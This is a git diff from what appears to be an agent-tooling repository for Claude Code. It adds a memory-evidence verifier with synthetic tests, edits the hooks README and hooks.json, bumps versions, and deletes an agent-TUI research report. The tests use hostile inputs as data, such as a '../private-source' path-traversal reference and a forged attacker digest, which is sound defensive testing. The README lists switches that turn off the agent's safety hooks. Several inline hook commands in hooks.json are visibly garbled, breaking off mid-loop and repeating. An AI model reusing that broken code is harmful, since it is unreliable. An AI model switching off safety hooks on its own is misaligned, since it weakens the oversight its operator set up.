sourceRef, sha256: digest(source.text), text: source.text, + observedAt: source.observedAt, sessionId: source.sessionId, checkpointId: source.checkpointId }); + decode(body); + return body; +} + +function verifyEvidence(body, catalog, context) { + const value = decode(body); + const source = getSource(value.sourceRef, catalog, context); + if (value.sha256 !== digest(source.text) || value.text !== source.text + || value.observedAt !== source.observedAt || value.sessionId !== source.sessionId + || value.checkpointId !== source.checkpointId) fail('SOURCE_MISMATCH'); + return Object.freeze({ status: 'source-content-match', sourceRef: value.sourceRef, sha256: value.sha256 }); +} + +module.exports = { encodeEvidence, verifyEvidence }; diff --git a/examples/unified-memory/evidence.test.cjs b/examples/unified-memory/evidence.test.cjs new file mode 100644 index 000000000..510a67e9c --- /dev/null +++ b/examples/unified-memory/evidence.test.cjs @@ -0,0 +1,109 @@ +'use strict'; + +// Pure synthetic checks: no subprocess, filesystem fixture, provider or server. +const assert = require('node:assert/strict'); +const { encodeEvidence, verifyEvidence } = require('./evidence.cjs'); +const sourceRef = 'fixture:orbit'; +const source = Object.freeze({ workspace: 'alpha', scope: 'project', + text: 'Synthetic orbit evidence: calibration color is amber.', + observedAt: '2026-01-01T00:00:00.000Z', sessionId: 'fixture-session', checkpointId: 'fixture-checkpoint' }); +const context = Object.freeze({ workspace: 'alpha', scope: 'project' }); +const catalog = new Map([[sourceRef, source]]); +const body = () => encodeEvidence(sourceRef, catalog, context); +const edit = change => JSON.stringify({ ...JSON.parse(body()), ...change }); +let passed = 0; +function test(name, fn) { + try { fn(); passed += 1; } + catch { throw new Error(`Synthetic evidence check failed: ${name}`); } +} +function rejects(fn, code) { + assert.throws(fn, error => error.code === code + && error.message === `Memory example evidence: ${code}`); +} + +test('valid source content and provenance match', () => { + const result = verifyEvidence(body(), catalog, context); + assert.equal(result.status, 'source-content-match'); + assert.equal(result.sourceRef, sourceRef); + assert.equal(result.sha256, JSON.parse(body()).sha256); + assert.ok(Object.isFrozen(result)); +}); +test('deterministic encoding preserves input catalog', () => { + const before = JSON.stringify([...catalog]); + assert.equal(body(), body()); + assert.equal(JSON.stringify([...catalog]), before); +}); +for (const [name, change] of [ + ['changed text', { text: 'Synthetic altered content.' }], + ['changed digest', { sha256: '0'.repeat(64) }], + ['changed observation', { observedAt: '2026-01-02T00:00:00.000Z' }], + ['changed session', { sessionId: 'other-session' }], + ['changed checkpoint', { checkpointId: 'other-checkpoint' }], +]) { + test(name, () => rejects(() => verifyEvidence(edit(change), catalog, context), 'SOURCE_MISMATCH')); +} +test('missing source never becomes successful empty evidence', () => { + rejects(() => verifyEvidence(body(), new Map(), context), 'SOURCE_UNAVAILABLE'); +}); +test('same reference in another workspace is denied', () => { + rejects(() => verifyEvidence(body(), catalog, { ...context, workspace: 'beta' }), 'CONTEXT_MISMATCH'); +}); +test('project evidence cannot be relabeled as user evidence', () => { + rejects(() => verifyEvidence(body(), catalog, { ...context, scope: 'user' }), 'CONTEXT_MISMATCH'); +}); +test('creation enforces host context too', () => { + rejects(() => encodeEvidence(sourceRef, catalog, { ...context, workspace: 'beta' }), 'CONTEXT_MISMATCH'); +}); +for (const [name, value] of [ + ['unknown schema', () => edit({ schema: 'unrecognized' })], + ['unknown authority field', () => edit({ trust: 'verified' })], + ['external URL is not a source lookup', () => edit({ sourceRef: 'https://example.invalid/source' })], + ['path is not a source lookup', () => edit({ sourceRef: '../private-source' })], + ['invalid timestamp', () => edit({ observedAt: '2026-02-30T00:00:00.000Z' })], + ['missing checkpoint', () => { const value = JSON.parse(body()); delete value.checkpointId; return JSON.stringify(value); }], + ['malformed JSON', () => '{'], + ['non-object JSON', () => 'null'], + ['oversized body', () => 'x'.repeat(16385)], +]) { + test(name, () => rejects(() => verifyEvidence(value(), catalog, context), 'INVALID_ENVELOPE')); +} +test('unavailable source is also denied during creation', () => { + rejects(() => encodeEvidence(sourceRef, new Map(), context), 'SOURCE_UNAVAILABLE'); +}); +test('changed catalog content invalidates a previously encoded body', () => { + const changed = new Map([[sourceRef, { ...source, text: 'Synthetic revised evidence.' }]]); + rejects(() => verifyEvidence(body(), changed, context), 'SOURCE_MISMATCH'); +}); +test('recomputed attacker digest does not replace host source binding', () => { + const crypto = require('node:crypto'); + const text = 'Synthetic attacker replacement.'; + const sha256 = crypto.createHash('sha256').update(text).digest('hex'); + rejects(() => verifyEvidence(edit({ text, sha256 }), catalog, context), 'SOURCE_MISMATCH'); +}); +test('invalid host source is not a record success', () => { + const invalid = new Map([[sourceRef, { ...source, text: '' }]]); + rejects(() => encodeEvidence(sourceRef, invalid, context), 'INVALID_SOURCE'); +}); +test('invalid host context is denied before source lookup', () => { + rejects(() => verifyEvidence(body(), catalog, { workspace: 'alpha', scope: 'all' }), 'INVALID_CONTEXT'); +}); +test('rejects forbidden C0 controls and DEL in source and recalled text', () => { + const codes = [...Array.from({ length: 32 }, (_, code) => code), 127] + .filter(code => ![9, 10, 13].includes(code)); + for (const code of codes) { + const text = `Synthetic ${String.fromCodePoint(code)} content.`; + const invalid = new Map([[sourceRef, { ...source, text }]]); + rejects(() => encodeEvidence(sourceRef, invalid, context), 'INVALID_SOURCE'); + rejects(() => verifyEvidence(edit({ text }), catalog, context), 'INVALID_ENVELOPE'); + } +}); +test('preserves allowed whitespace, printable boundaries and non-C0 Unicode', () => { + for (const code of [9, 10, 13, 32, 126, 128, 0x2028, 0x1f642]) { + const text = `Synthetic ${String.fromCodePoint(code)} content.`; + const allowed = new Map([[sourceRef, { ...source, text }]]); + const encoded = encodeEvidence(sourceRef, allowed, context); + assert.equal(verifyEvidence(encoded, allowed, context).status, 'source-content-match'); + } +}); +process.stdout.write(`${JSON.stringify({ status: 'passed', checks: passed, + boundary: 'Synthetic in-memory evidence checks; no authentication or runtime-service verification.' })}\n`); diff --git a/hooks/README.md b/hooks/README.md index 144bc89ad..548658774 100644 --- a/hooks/README.md +++ b/hooks/README.md @@ -19,6 +19,10 @@ User request → Claude picks a tool → PreToolUse hook runs → Tool executes Memory persistence lifecycle definitions live in `hooks/memory-persistence/`. The executable hook graph remains `hooks/hooks.json`; the memory persistence directory is the stable contract for SessionStart, PreCompact, observation, activity tracking, and SessionEnd behavior. +Stable hook IDs and descriptions live in `hooks/hooks.metadata.json`, aligned by event and index with `hooks/hooks.json`. Claude Code validates a plugin's `hooks.json` against its own schema and reports any other key (`$schema`, `id`, `description`) as unknown at load time, so `hooks.json` carries only what the harness accepts. ECC's installer, validator, and dashboard merge the sidecar back in through `scripts/lib/hooks-config.js`; `node scripts/ci/validate-hooks.js` fails if the two files drift apart, and `node scripts/ci/check-hooks-schema-keys.js` fails if `hooks.json` or `hooks/codex-hooks.json` carry any key outside their loader's documented set. + +Each sidecar entry also carries a `fingerprint` of the matcher entry it describes (matcher plus hook commands), so reordering `hooks.json` without reordering the sidecar, or editing a command without updating the sidecar, is caught rather than silently swapping IDs. When reordering hooks, move the matching sidecar entries first. Then run `node scripts/ci/validate-hooks.js --update-fingerprints` to refresh changed commands and commit both files. The updater rejects known fingerprints at different positions and writes only after validation succeeds. + ## Installing These Hooks Manually For Claude Code manual installs, do not paste the raw repo `hooks.json` into `~/.claude/settings.json` or copy it directly into `~/.claude/hooks/hooks.json`. The checked-in file is plugin/repo-oriented and is meant to be installed through the ECC installer or loaded as a plugin. @@ -110,6 +114,18 @@ export ECC_HOOK_PROFILE=standard # Disable specific hook IDs (comma-separated) export ECC_DISABLED_HOOKS="pre:bash:tmux-reminder,post:edit:typecheck" +# Lower the hook input cap in bytes (default and maximum: 1048576). +# run-with-flags.js adds runner-level fail-closed handling for +# pre:edit-write:gateguard-fact-force and pre:mcp-health-check because they +# cannot inspect the complete request. Other safety hooks, including the Bash +# dispatcher and config protection, retain their own fail-closed behavior. +# If a trusted tool call legitimately exceeds the cap, retry with a smaller +# input or temporarily set ECC_GATEGUARD=off (or GATEGUARD_DISABLED=1) for +# GateGuard, or ECC_MCP_HEALTH_FAIL_OPEN=yes for MCP health, then restore it. +# These switches reduce only the named protection while enabled; they do not +# bypass the Bash dispatcher or config-protection checks. +export ECC_HOOK_INPUT_MAX_BYTES=524288 + # Disable only GateGuard during setup or recovery export ECC_GATEGUARD=off @@ -143,7 +159,10 @@ update the plugin and change those preferences. ### Writing Your Own Hook -Hooks are shell commands that receive tool input as JSON on stdin and must output JSON on stdout. +Hooks are shell commands that receive tool input as JSON on stdin. A hook with +no decision or context to return should leave stdout empty. Only explicit hook +output, such as a deny decision or `additionalContext`, should be written to +stdout; the input payload must not be echoed as a no-op response. **Basic structure:** @@ -165,8 +184,7 @@ process.stdin.on('end', () => { // Block (PreToolUse only): exit with code 2 // process.exit(2); - // Always output the original data to stdout - console.log(data); + // No opinion: leave stdout empty. }); ``` @@ -217,7 +235,7 @@ Async hooks run in the background. They cannot block tool execution. "matcher": "Edit", "hooks": [{ "type": "command", - "command": "node -e \"let d='';process.stdin.on('data',c=>d+=c);process.stdin.on('end',()=>{const i=JSON.parse(d);const ns=i.tool_input?.new_string||'';if(/TODO|FIXME|HACK/.test(ns)){console.error('[Hook] New TODO/FIXME added - consider creating an issue')}console.log(d)})\"" + "command": "node -e \"let d='';process.stdin.on('data',c=>d+=c);process.stdin.on('end',()=>{const i=JSON.parse(d);const ns=i.tool_input?.new_string||'';if(/TODO|FIXME|HACK/.test(ns)){console.error('[Hook] New TODO/FIXME added - consider creating an issue')}})\"" }], "description": "Warn when adding TODO/FIXME comments" } @@ -230,7 +248,7 @@ Async hooks run in the background. They cannot block tool execution. "matcher": "Write", "hooks": [{ "type": "command", - "command": "node -e \"let d='';process.stdin.on('data',c=>d+=c);process.stdin.on('end',()=>{const i=JSON.parse(d);const c=i.tool_input?.content||'';const lines=c.split('\\n').length;if(lines>800){console.error('[Hook] BLOCKED: File exceeds 800 lines ('+lines+' lines)');console.error('[Hook] Split into smaller, focused modules');process.exit(2)}console.log(d)})\"" + "command": "node -e \"let d='';process.stdin.on('data',c=>d+=c);process.stdin.on('end',()=>{const i=JSON.parse(d);const c=i.tool_input?.content||'';const lines=c.split('\\n').length;if(lines>800){console.error('[Hook] BLOCKED: File exceeds 800 lines ('+lines+' lines)');console.error('[Hook] Split into smaller, focused modules');process.exit(2)}})\"" }], "description": "Block creation of files larger than 800 lines" } @@ -243,7 +261,7 @@ Async hooks run in the background. They cannot block tool execution. "matcher": "Edit", "hooks": [{ "type": "command", - "command": "node -e \"let d='';process.stdin.on('data',c=>d+=c);process.stdin.on('end',()=>{const i=JSON.parse(d);const p=i.tool_input?.file_path||'';if(/\\.py$/.test(p)){const{execFileSync}=require('child_process');try{execFileSync('ruff',['format',p],{stdio:'pipe'})}catch(e){}}console.log(d)})\"" + "command": "node -e \"let d='';process.stdin.on('data',c=>d+=c);process.stdin.on('end',()=>{const i=JSON.parse(d);const p=i.tool_input?.file_path||'';if(/\\.py$/.test(p)){const{execFileSync}=require('child_process');try{execFileSync('ruff',['format',p],{stdio:'pipe'})}catch(e){}}})\"" }], "description": "Auto-format Python files with ruff after edits" } @@ -256,7 +274,7 @@ Async hooks run in the background. They cannot block tool execution. "matcher": "Write", "hooks": [{ "type": "command", - "command": "node -e \"const fs=require('fs');let d='';process.stdin.on('data',c=>d+=c);process.stdin.on('end',()=>{const i=JSON.parse(d);const p=i.tool_input?.file_path||'';if(/src\\/.*\\.(ts|js)$/.test(p)&&!/\\.test\\.|\\.spec\\./.test(p)){const testPath=p.replace(/\\.(ts|js)$/,'.test.$1');if(!fs.existsSync(testPath)){console.error('[Hook] No test file found for: '+p);console.error('[Hook] Expected: '+testPath);console.error('[Hook] Consider writing tests first (/tdd)')}}console.log(d)})\"" + "command": "node -e \"const fs=require('fs');let d='';process.stdin.on('data',c=>d+=c);process.stdin.on('end',()=>{const i=JSON.parse(d);const p=i.tool_input?.file_path||'';if(/src\\/.*\\.(ts|js)$/.test(p)&&!/\\.test\\.|\\.spec\\./.test(p)){const testPath=p.replace(/\\.(ts|js)$/,'.test.$1');if(!fs.existsSync(testPath)){console.error('[Hook] No test file found for: '+p);console.error('[Hook] Expected: '+testPath);console.error('[Hook] Consider writing tests first (/tdd)')}}})\"" }], "description": "Remind to create tests when adding new source files" } diff --git a/hooks/hooks.json b/hooks/hooks.json index 62053904e..8ec470673 100644 --- a/hooks/hooks.json +++ b/hooks/hooks.json @@ -1,5 +1,4 @@ { - "$schema": "https://json.schemastore.org/claude-code-settings.json", "hooks": { "PreToolUse": [ { @@ -9,9 +8,7 @@ "type": "command", "command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i{let pending=1;const done=()=>{pending-=1;if(pending===0)process.exit(code);};if(out){pending+=1;process.stdout.write(out,done);}if(err){pending+=1;process.stderr.write(err,done);}process.nextTick(done);};const rel=path.join('scripts','hooks','run-with-flags.js');const root=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i=0.5,<1\"" - }, - "squish": { - "command": "npx", - "args": ["-y", "squish-memory"], - "description": "Local-first persistent memory runtime for AI agents — MCP server for Claude Code, Cursor, OpenCode, Codex, Cline. Auto-captures context across sessions. 1-20ms recall, 283KB, no second LLM needed. Runs locally with SQLite. Supports cloud sync via Stripe checkout ($9-$99/mo). GitHub: https://github.com/michielhdoteth/squish | Docs: https://squishplugin.dev | (also available via local `squish run mcp`)" } }, "_comments": { diff --git a/package-lock.json b/package-lock.json index a692663fa..fff2ca0d0 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,17 +1,17 @@ { "name": "ecc-universal", - "version": "2.2.1", + "version": "2.2.2", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "ecc-universal", - "version": "2.2.1", + "version": "2.2.2", "license": "MIT", "dependencies": { "@iarna/toml": "2.2.5", "ajv": "8.20.0", - "js-yaml": "4.3.1", + "js-yaml": "4.3.2", "sql.js": "1.14.2" }, "bin": { @@ -1493,9 +1493,9 @@ } }, "node_modules/js-yaml": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.1.tgz", - "integrity": "sha512-CY6crGq313MX8GkwvB7tzgp99vjQxY1++5y10/BKN/GUfHqWaOGQMNZkBvqSzsZKWk/ijwHlWzzkLulsGHhjWQ==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.2.tgz", + "integrity": "sha512-SFNOvSJ+Dgf/9An904Yx+CgSlIPCkIpao4qo51lpee25TIRejdH3rhR4EZMGoNx3/TP3O+wzWuiTFl4sqbltzA==", "funding": [ { "type": "github", diff --git a/package.json b/package.json index 42bd2a6b9..a5ef4eaaa 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,18 @@ { "name": "ecc-universal", - "version": "2.2.1", + "version": "2.2.2", "description": "Harness-native agent operating system for Codex, OpenCode, Cursor, Gemini, Claude Code, and terminal workflows - skills, hooks, rules, MCP conventions, and operator control-plane patterns", + "main": ".opencode/dist/index.js", + "types": ".opencode/dist/index.d.ts", + "exports": { + ".": { + "types": "./.opencode/dist/index.d.ts", + "import": "./.opencode/dist/index.js", + "default": "./.opencode/dist/index.js" + }, + "./package.json": "./package.json", + "./*": "./*" + }, "publishConfig": { "access": "public" }, @@ -51,6 +62,7 @@ ".hermes/", ".kimi/", ".opencode/", + ".opencode/dist/", ".pi/", ".openclaw/", ".qwen/", @@ -70,6 +82,7 @@ "docs/de-DE/", "docs/CODEX-NAVIGATION-GUIDE.md", "docs/COMMAND-AGENT-MAP.md", + "docs/ROADMAP.md", "docs/design/ecc-memory-vault.md", "docs/ja-JP/", "docs/ko-KR/", @@ -80,6 +93,7 @@ "docs/vi-VN/", "docs/zh-CN/", "docs/zh-TW/", + "examples/eval-harness/", "hooks/", "install.ps1", "install.sh", @@ -107,6 +121,7 @@ "scripts/gemini-adapt-agents.js", "scripts/harness-adapter-compliance.js", "scripts/harness-audit.js", + "scripts/eval-harness.js", "scripts/observability-readiness.js", "scripts/operator-readiness-dashboard.js", "scripts/platform-audit.js", @@ -181,6 +196,7 @@ "skills/cost-tracking/", "skills/council/", "skills/council-multi-model/", + "skills/counterparty-channel-discipline/", "skills/cpp-coding-standards/", "skills/cpp-testing/", "skills/crosspost/", @@ -210,6 +226,7 @@ "skills/energy-procurement/", "skills/enterprise-agent-ops/", "skills/error-handling/", + "skills/esign-field-placement/", "skills/eval-harness/", "skills/evm-token-decimals/", "skills/exa-search/", @@ -264,7 +281,6 @@ "skills/mcp-server-patterns/", "skills/messages-ops/", "skills/mle-workflow/", - "skills/motion-ui/", "skills/mysql-patterns/", "skills/nanoclaw-repl/", "skills/nestjs-patterns/", @@ -298,6 +314,7 @@ "skills/quarkus-security/", "skills/quarkus-tdd/", "skills/quarkus-verification/", + "skills/rails-patterns/", "skills/ralphinho-rfc-pipeline/", "skills/react-patterns/", "skills/react-performance/", @@ -400,6 +417,7 @@ "skills/loop-design-check/", "skills/mailtrap-email-integration/", "skills/marketing-campaign/", + "skills/master-agreement-generator/", "skills/ml-adoption-playbook/", "skills/motion-advanced/", "skills/motion-foundations/", @@ -407,6 +425,7 @@ "skills/nextjs-turbopack/", "skills/nuxt4-patterns/", "skills/openclaw-persona-forge/", + "skills/operator-approval-loop/", "skills/opensource-pipeline/", "skills/orch-add-feature/", "skills/orch-build-mvp/", @@ -426,6 +445,8 @@ "skills/santa-method/", "skills/social-publisher/", "skills/taste/", + "skills/taste-application/", + "skills/taste-distillation/", "skills/tasteforge-video/", "skills/tinystruct-patterns/", "skills/uncloud/", @@ -455,6 +476,7 @@ "lint": "eslint . && markdownlint '**/*.md' --ignore node_modules", "harness:adapters": "node scripts/harness-adapter-compliance.js", "harness:audit": "node scripts/harness-audit.js", + "harness:eval": "node scripts/eval-harness.js", "observability:ready": "node scripts/observability-readiness.js", "operator:dashboard": "node scripts/operator-readiness-dashboard.js", "preview-pack:smoke": "node scripts/preview-pack-smoke.js", @@ -470,7 +492,7 @@ "orchestrate:status": "node scripts/orchestration-status.js", "orchestrate:worker": "bash scripts/orchestrate-codex-worker.sh", "orchestrate:tmux": "node scripts/orchestrate-worktrees.js", - "test": "node scripts/ci/check-unicode-safety.js && node scripts/ci/validate-agents.js && node scripts/ci/validate-commands.js && node scripts/ci/validate-rules.js && node scripts/ci/validate-skills.js && node scripts/ci/validate-hooks.js && node scripts/ci/validate-install-manifests.js && node scripts/ci/validate-no-personal-paths.js && npm run catalog:check && npm run command-registry:check && node tests/run-all.js", + "test": "node scripts/ci/check-unicode-safety.js && node scripts/ci/validate-agents.js && node scripts/ci/validate-commands.js && node scripts/ci/validate-rules.js && node scripts/ci/validate-skills.js && node scripts/ci/validate-hooks.js && node scripts/ci/check-hooks-schema-keys.js && node scripts/ci/validate-install-manifests.js && node scripts/ci/validate-no-personal-paths.js && npm run catalog:check && npm run command-registry:check && node tests/run-all.js", "coverage": "c8 --all --include=\"scripts/**/*.js\" --include=\"scripts/**/*.mjs\" --check-coverage --lines 80 --functions 80 --branches 79 --statements 80 --reporter=text --reporter=lcov node tests/run-all.js", "build:opencode": "node scripts/build-opencode.js", "prepack": "npm run build:opencode", @@ -480,7 +502,7 @@ "dependencies": { "@iarna/toml": "2.2.5", "ajv": "8.20.0", - "js-yaml": "4.3.1", + "js-yaml": "4.3.2", "sql.js": "1.14.2" }, "pi": { @@ -510,13 +532,13 @@ "overrides": { "fast-uri": "3.1.7", "markdown-it": "14.3.0", - "js-yaml": "4.3.1", + "js-yaml": "4.3.2", "@humanfs/node": "0.16.8" }, "resolutions": { "fast-uri": "3.1.7", "markdown-it": "14.3.0", - "js-yaml": "4.3.1", + "js-yaml": "4.3.2", "@humanfs/node": "0.16.8" }, "packageManager": "yarn@4.9.2+sha512.1fc009bc09d13cfd0e19efa44cbfc2b9cf6ca61482725eb35bbc5e257e093ebf4130db6dfe15d604ff4b79efd8e1e8e99b25fa7d0a6197c9f9826358d4d65c3c" diff --git a/plugins/ecc/.codex-plugin/plugin.json b/plugins/ecc/.codex-plugin/plugin.json index ff95de1b4..07f376cd6 100644 --- a/plugins/ecc/.codex-plugin/plugin.json +++ b/plugins/ecc/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "ecc", - "version": "2.2.1", + "version": "2.2.2", "description": "Harness-native ECC workflows for Codex: shared skills, production-ready MCP configs, and selective-install-aligned conventions for TDD, security scanning, code review, and autonomous development.", "author": { "name": "Affaan Mustafa", diff --git a/pyproject.toml b/pyproject.toml index 2e924826f..5f979c2d2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -20,7 +20,7 @@ classifiers = [ dependencies = [ "anthropic>=0.120.2", - "openai>=1.30.0", + "openai>=2.34.0", ] [project.optional-dependencies] diff --git a/research/ecc2-codebase-analysis.md b/research/ecc2-codebase-analysis.md deleted file mode 100644 index 001700114..000000000 --- a/research/ecc2-codebase-analysis.md +++ /dev/null @@ -1,172 +0,0 @@ -# ECC2 Codebase Research Report - -**Date:** 2026-03-26 -**Subject:** `ecc-tui` v0.1.0 — Agentic IDE Control Plane -**Total Lines:** 4,417 across 15 `.rs` files - -## 1. Architecture Overview - -ECC2 is a Rust TUI application that orchestrates AI coding agent sessions. It uses: -- **ratatui 0.29** + **crossterm 0.28** for terminal UI -- **rusqlite 0.32** (bundled) for local state persistence -- **tokio 1** (full) for async runtime -- **clap 4** (derive) for CLI - -### Module Breakdown - -| Module | Lines | Purpose | -|--------|------:|---------| -| `session/` | 1,974 | Session lifecycle, persistence, runtime, output | -| `tui/` | 1,613 | Dashboard, app loop, custom widgets | -| `observability/` | 409 | Tool call risk scoring and logging | -| `config/` | 144 | Configuration (TOML file) | -| `main.rs` | 142 | CLI entry point | -| `worktree/` | 99 | Git worktree management | -| `comms/` | 36 | Inter-agent messaging (send only) | - -### Key Architectural Patterns - -- **DbWriter thread** in `session/runtime.rs` — dedicated OS thread for SQLite writes from async context via `mpsc::unbounded_channel` with oneshot acknowledgements. Clean solution to the "SQLite from async" problem. -- **Session state machine** with enforced transitions: `Pending → {Running, Failed, Stopped}`, `Running → {Idle, Completed, Failed, Stopped}`, etc. -- **Ring buffer** for session output — `OUTPUT_BUFFER_LIMIT = 1000` lines per session with automatic eviction. -- **Risk scoring** on tool calls — 4-axis analysis (base tool risk, file sensitivity, blast radius, irreversibility) producing composite 0.0–1.0 scores with suggested actions (Allow/Review/RequireConfirmation/Block). - -## 2. Code Quality Metrics - -| Metric | Value | -|--------|-------| -| Total lines | 4,417 | -| Test functions | 29 | -| `unwrap()` calls | 3 | -| `unsafe` blocks | 0 | -| TODO/FIXME comments | 0 | -| Max file size | 1,273 lines (`dashboard.rs`) | - -**Assessment:** The codebase is clean. Only 3 `unwrap()` calls (2 in tests, 1 in config `default()`), zero `unsafe`, and all modules use proper `anyhow::Result` error propagation. The `dashboard.rs` file at 1,273 lines exceeds the repo's 800-line max-file guideline, but it is still manageable at the current scope. - -## 3. Identified Gaps - -### 3.1 Comms Module — Send Without Receive - -`comms/mod.rs` (36 lines) has `send()` but no `receive()`, `poll()`, `inbox()`, or `subscribe()`. The `messages` table exists in SQLite, but nothing reads from it. The inter-agent messaging story is half-built. - -**Impact:** Agents cannot coordinate. The `TaskHandoff`, `Query`, `Response`, and `Conflict` message types are defined but unusable. - -### 3.2 New Session Dialog — Stub - -`dashboard.rs:495` — `new_session()` logs `"New session dialog requested"` but does nothing. Users must use the CLI (`ecc start --task "..."`) to create sessions; the TUI dashboard cannot. - -### 3.3 Single Agent Support - -`session/manager.rs` — `agent_program()` only supports `"claude"`. The CLI accepts `--agent` but anything other than `"claude"` fails. No codex, opencode, or custom agent support. - -### 3.4 Config — File-Only - -`Config::load()` reads `~/.claude/ecc2.toml` only. The implementation lacks environment variable overrides (e.g., `ECC_DB_PATH`, `ECC_WORKTREE_ROOT`) and CLI flags for configuration. - -### 3.5 Legacy Dependency Candidate: `git2` - -`git2 = "0.20"` is still declared in `Cargo.toml`, but the `worktree` module shells out to the `git` CLI instead. That makes `git2` a strong removal candidate rather than an already-completed cleanup. - -### 3.6 No Metrics Aggregation - -`SessionMetrics` tracks tokens, cost, duration, tool_calls, files_changed per session. But there's no aggregate view: total cost across sessions, average duration, top tools by usage, etc. The Metrics pane in the dashboard shows per-session detail only. - -### 3.7 Daemon — No Health Reporting - -`session/daemon.rs` runs an infinite loop checking session timeouts. No health endpoint, no log rotation, no PID file, no signal handling for graceful shutdown. `Ctrl+C` during daemon mode kills the process uncleanly. - -## 4. Test Coverage Analysis - -34 test functions across 10 source modules: - -| Module | Tests | Coverage Focus | -|--------|------:|----------------| -| `main.rs` | 1 | CLI parsing | -| `config/mod.rs` | 5 | Defaults, deserialization, legacy fallback | -| `observability/mod.rs` | 5 | Risk scoring, persistence, pagination | -| `session/daemon.rs` | 2 | Crash recovery / liveness handling | -| `session/manager.rs` | 4 | Session lifecycle, resume, stop, latest status | -| `session/output.rs` | 2 | Ring buffer, broadcast | -| `session/runtime.rs` | 1 